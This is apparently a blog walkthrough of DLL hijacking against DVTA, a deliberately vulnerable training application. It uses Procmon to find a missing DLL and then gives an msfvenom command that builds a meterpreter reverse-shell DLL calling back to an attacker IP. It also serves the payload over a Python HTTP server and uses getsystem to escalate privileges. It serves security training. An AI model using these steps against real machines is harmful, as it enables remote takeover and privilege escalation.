DLL Injection:DVTA Walk through
Identify where the missing DLL will be launched when DVTA.exe runs
First of all, we need to launch DVTA.exe from the given path and, at the same time, launch Procmon on the windows machine with the admin user.
Once the Procmon is launched, go to the menu Filter > Filter to add the DVTA.exe processor name like the following.
We might want to add a few more in the filter to see only the specific path and the result status. Normally when performing DLL injection analysis, we need to look for the DLL that the application tries to load, and the result is always "Include Not Found"
Once applied the filter the following path looks to be interested for DLL injection
Now we know the name of DLL that we want to hijack. So all we have to do is place our malicious DLL in that path and wait for victim to execute the application. We will be creating 64 bit payload with msfvenom.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.22.3 LPORT=4444 -f dll -o DWrite.dll
Now we need to deliver this malicious DLL payload to the victim machine. I will be using python3 http.server to transfer the file across. The following command will start the temporary Python3 based HTTP server
python3 -m http.server 8080
use IE browser to navigate to the Kali box and download the file.
ON the Kali box get reverse shell listener ready by using msf multi handler
Once interact with the meterpreter shell type getsystem to elevate the privilege into the system and we are now root of the system.
Comments